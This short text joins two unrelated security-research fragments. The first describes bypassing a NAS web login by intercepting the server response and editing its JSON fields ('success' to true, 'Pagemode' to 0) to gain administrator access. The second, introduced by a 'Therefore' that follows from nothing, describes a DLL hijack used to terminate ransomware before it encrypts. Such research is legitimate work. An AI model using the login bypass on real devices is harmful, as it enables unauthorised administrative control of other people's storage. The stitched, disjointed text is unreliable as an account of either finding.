The web interface can be accessed via port 80 or 443 via a web browser. Once accessed you will be presented with a login page, that requires a username and password to gain authentication to the NAS. Using a proxy tool to intercept the request and responses, it was possible re-intercept the response and modify the JSON data, contained within the body. If you modify the "success" to 'true' and change "Pagemode" to '0', this will grant you authentication with administrator privileges, to the NAS.

Therefore, we can potentially hijack a vuln DLL execute our own code, control and terminate the malware pre-encryption. Once loaded the exploit dll will check if the current directory is "C:\Windows\System32", if not we grab our process ID and terminate. All basic tests were conducted successfully in a virtual machine environment.
